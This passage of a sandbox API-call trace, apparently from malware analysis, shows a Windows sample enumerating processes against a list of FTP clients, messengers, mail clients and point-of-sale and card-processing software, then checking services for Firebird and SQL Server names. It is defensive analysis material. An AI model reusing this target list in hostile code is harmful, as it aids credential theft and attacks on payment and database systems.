out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0165.365] lstrlenW (lpString="icq.exe") returned 7 [0165.365] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0165.366] lstrlenW (lpString="leechftp.exe") returned 12 [0165.366] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0165.367] lstrlenW (lpString="ncftp.exe") returned 9 [0165.367] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0165.368] lstrlenW (lpString="notepad.exe") returned 11 [0165.368] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0165.368] lstrlenW (lpString="operamail.exe") returned 13 [0165.368] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0165.369] lstrlenW (lpString="pidgin.exe") returned 10 [0165.369] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0165.370] lstrlenW (lpString="scriptftp.exe") returned 13 [0165.370] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0165.370] lstrlenW (lpString="skype.exe") returned 9 [0165.370] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0165.371] lstrlenW (lpString="smartftp.exe") returned 12 [0165.371] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0165.372] lstrlenW (lpString="thunderbird.exe") returned 15 [0165.372] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0165.372] lstrlenW (lpString="totalcmd.exe") returned 12 [0165.372] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0165.374] lstrlenW (lpString="trillian.exe") returned 12 [0165.374] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0165.374] lstrlenW (lpString="webdrive.exe") returned 12 [0165.374] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0165.375] lstrlenW (lpString="whatsapp.exe") returned 12 [0165.375] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0165.376] lstrlenW (lpString="winscp.exe") returned 10 [0165.376] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0165.376] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0165.376] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0165.377] lstrlenW (lpString="active-charge.exe") returned 17 [0165.377] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0165.378] lstrlenW (lpString="accupos.exe") returned 11 [0165.378] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0165.378] lstrlenW (lpString="afr38.exe") returned 9 [0165.378] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0165.379] lstrlenW (lpString="aldelo.exe") returned 10 [0165.379] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0165.379] lstrlenW (lpString="ccv_server.exe") returned 14 [0165.379] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0165.380] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0165.380] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0165.381] lstrlenW (lpString="creditservice.exe") returned 17 [0165.381] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0165.381] lstrlenW (lpString="edcsvr.exe") returned 10 [0165.381] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0165.382] lstrlenW (lpString="fpos.exe") returned 8 [0165.382] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0165.383] lstrlenW (lpString="isspos.exe") returned 10 [0165.383] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0165.383] lstrlenW (lpString="mxslipstream.exe") returned 16 [0165.383] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0165.384] lstrlenW (lpString="omnipos.exe") returned 11 [0165.384] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0165.384] lstrlenW (lpString="spcwin.exe") returned 10 [0165.384] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0165.385] lstrlenW (lpString="spgagentservice.exe") returned 19 [0165.385] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0165.386] lstrlenW (lpString="utg2.exe") returned 8 [0165.386] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0165.386] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0165.386] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.387] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.387] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.387] lstrlenW (lpString="svchost.exe") returned 11 [0165.387] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.388] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.388] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0165.398] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0165.398] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.398] lstrlenW (lpString="conhost.exe") returned 11 [0165.398] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0165.399] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0165.399] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.400] lstrlenW (lpString="conhost.exe") returned 11 [0165.400] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0165.400] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0165.400] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0165.401] lstrlenW (lpString="powershell.exe") returned 14 [0165.401] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.401] lstrlenW (lpString="conhost.exe") returned 11 [0165.401] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0165.402] lstrlenW (lpString="TiWorker.exe") returned 12 [0165.402] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0165.402] lstrlenW (lpString="sppsvc.exe") returned 10 [0165.402] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0165.403] lstrlenW (lpString="powershell.exe") returned 14 [0165.403] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.403] lstrlenW (lpString="conhost.exe") returned 11 [0165.403] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.404] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.404] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0165.405] lstrlenW (lpString="NS2.exe") returned 7 [0165.405] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.405] lstrlenW (lpString="conhost.exe") returned 11 [0165.405] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.406] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.406] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.406] lstrlenW (lpString="dllhost.exe") returned 11 [0165.406] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0165.407] lstrlenW (lpString="winhost.exe") returned 11 [0165.407] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0165.407] lstrlenW (lpString="cmd.exe") returned 7 [0165.407] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.408] lstrlenW (lpString="conhost.exe") returned 11 [0165.408] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0165.409] lstrlenW (lpString="mode.com") returned 8 [0165.409] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0165.409] CloseHandle (hObject=0x390) returned 1 [0165.409] Sleep (dwMilliseconds=0x1f4) [0165.921] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eef18 [0165.921] EnumServicesStatusExW (in: hSCManager=0x6eef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0165.922] GetLastError () returned 0xea [0165.922] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x3e88050 [0165.922] EnumServicesStatusExW (in: hSCManager=0x6eef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e88050, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e88050, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0165.925] CloseServiceHandle (hSCObject=0x6eef18) returned 1 [0165.926] lstrlenW (lpString="Appinfo") returned 7 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.926] lstrlenW (lpString="AppXSvc") returned 7 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0165.926] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.926] lstrlenW (lpString="Audiosrv") returned 8 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0165.926] lstrlenW (lpString="BFE") returned 3 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.926] lstrlenW (lpString="BITS") returned 4 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0165.926] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0165.926] lstrlenW (lpString="CDPSvc") returned 6 [0165.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0165.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0165.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0165.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0165.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0165.927] lstrlenW (lpString="ClipSVC") returned 7 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0165.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0165.927] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0165.927] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0165.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0165.927] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0165.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 